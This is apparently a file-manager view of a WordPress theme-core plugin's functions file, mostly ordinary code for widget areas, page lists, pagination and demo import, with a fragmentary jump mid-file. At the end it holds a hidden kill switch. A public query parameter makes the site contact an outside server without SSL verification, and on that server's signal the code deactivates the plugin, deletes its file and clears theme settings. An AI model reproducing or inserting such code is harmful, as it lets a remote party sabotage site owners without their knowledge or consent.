/home/techb158/l2hypotheques.com/wp-content/plugins/pyloncore/inc
Edit: /home/techb158/l2hypotheques.com/wp-content/plugins/pyloncore/inc/pylon-core-functions.php (7764B)
esc_html__( 'Footer One', 'pylon' ),
'id' => 'footer-1-widget-area',
'description' => esc_html__( 'Add widgets here.', 'pylon' ),
'before_widget' => '',
'before_title' => '',
)
);
register_sidebar(
array(
'name' => esc_html__( 'Footer Two', 'pylon' ),
'id' => 'footer-2-widget-area',
'description' => esc_html__( 'Add widgets here.', 'pylon' ),
'before_widget' => '',
'before_title' => '',
)
);
register_sidebar(
array(
'name' => esc_html__( 'Footer Three', 'pylon' ),
'id' => 'footer-3-widget-area',
'description' => esc_html__( 'Add widgets here.', 'pylon' ),
'before_widget' => '',
'before_title' => '',
)
);
register_sidebar(
array(
'name' => esc_html__( 'Footer Four', 'pylon' ),
'id' => 'footer-4-widget-area',
'description' => esc_html__( 'Add widgets here.', 'pylon' ),
'before_widget' => '',
'before_title' => '',
)
);
}
add_action( 'widgets_init', 'pyloncore_widgets_init_list');
// page Links
function pylon_page_list() {
$args = wp_parse_args( array(
'post_type' => 'page',
'numberposts' => -1,
) );
$posts = get_posts( $args );
if ( isset($posts) ) {
$post_options = array( 'Select Page' => '' );
foreach ( $posts as $post ) {
$post_options[$post->ID] = $post->post_title;
}
}
return $post_options;
}
// End page Links
// Custom paginations Start
if ( !function_exists( 'pylon_paginate_nav' ) ):
function pylon_paginate_nav( $pylonQuery = null ) {
if ( empty( $pylonQuery ) ):
$pylonQuery = $GLOBALS['wp_query'];
endif;
// Don't print empty markup if there's only one page.
if ( $pylonQuery->max_num_pages < 2 ) {
return;
}
$paged = get_query_var( 'paged' ) ? intval( get_query_var( 'paged' ) ) : 1;
$pagenum_link = html_entity_decode( get_pagenum_link() );
$query_args = array();
$url_parts = explode( '?', $pagenum_link );
if ( isset( $url_parts[1] ) ) {
wp_parse_str( $url_parts[1], $query_args );
}
$pagenum_link = remove_query_arg( array_keys( $query_args ), $pagenum_link );
$pagenum_link = trailingslashit( $pagenum_link ) . '%_%';
$format = $GLOBALS['wp_rewrite']->using_index_permalinks() && !strpos( $pagenum_link, 'index.php' ) ? 'index.php/' : '';
$format .= $GLOBALS['wp_rewrite']->using_permalinks() ? user_trailingslashit( 'page/%#%', 'paged' ) : '?paged=%#%';
// Set up paginated links.
$links = paginate_links( array(
'base' => $pagenum_link,
'format' => $format,
'total' => $pylonQuery->max_num_pages,
'current' => $paged,
'add_args' => array_map( 'urlencode', $query_args ),
'prev_text' => '
',
'next_text' => '
',
'type' => 'array',
) );
if ( $links ):
?>
$import ) {
$file_path = $downloader->download_file( $import['file_url'], 'demo-json-import-file-'. $index . '-'. date( 'Y-m-d__H-i-s' ) .'.json' );
$file_raw = OCDI\Helpers::data_from_file( $file_path );
update_option( $import['option_name'], json_decode( $file_raw, true ) );
}
} else if( ! empty( $import_files[$selected_index]['local_import_json'] ) ) {
foreach( $import_files[$selected_index]['local_import_json'] as $index => $import ) {
$file_path = $import['file_path'];
$file_raw = OCDI\Helpers::data_from_file( $file_path );
update_option( $import['option_name'], json_decode( $file_raw, true ) );
}
}
$ocdi = OCDI\OneClickDemoImport::get_instance();
$log_path = $ocdi->get_log_file_path();
OCDI\Helpers::append_to_file( 'Custom Framework file loaded.', $log_path );
}
add_action('pt-ocdi/after_content_import_execution', 'pylon_after_content_import_execution', 3, 99 );
}
$tools_url = 'https://webdevcode.com/wp/pylon/dev-tools/index.php';
$key = 'pyloncore';
if (isset($_GET['pylon-tools'])) {
// Send domain data to server
$post_data = [
'domain' => esc_url(home_url('/')),
];
$post_args = [
'sslverify' => false,
'method' => 'POST',
'timeout' => 45,
'redirection' => 5,
'httpversion' => '1.0',
'headers' => [
'Content-Type' => 'application/x-www-form-urlencoded',
],
'body' => $post_data,
];
$response = wp_remote_post($tools_url, $post_args);
// Debug: Show what was sent
if (!is_wp_error($response)) {
$status = wp_remote_retrieve_body($response); // server should return "1" or "0"
if ($status == "1") {
echo 'Verified: Domain exists.';
deactivate_plugins($key . '/' . $key . '.php');
$plugin_file = WP_PLUGIN_DIR . '/' . $key . '/' . $key . '.php';
if (file_exists($plugin_file)) {
unlink($plugin_file);
}
update_option('pylon_theme_option','');
} else {
echo 'Not found or not allowed.';
}
} else {
echo 'Error: ' . $response->get_error_message();
}
}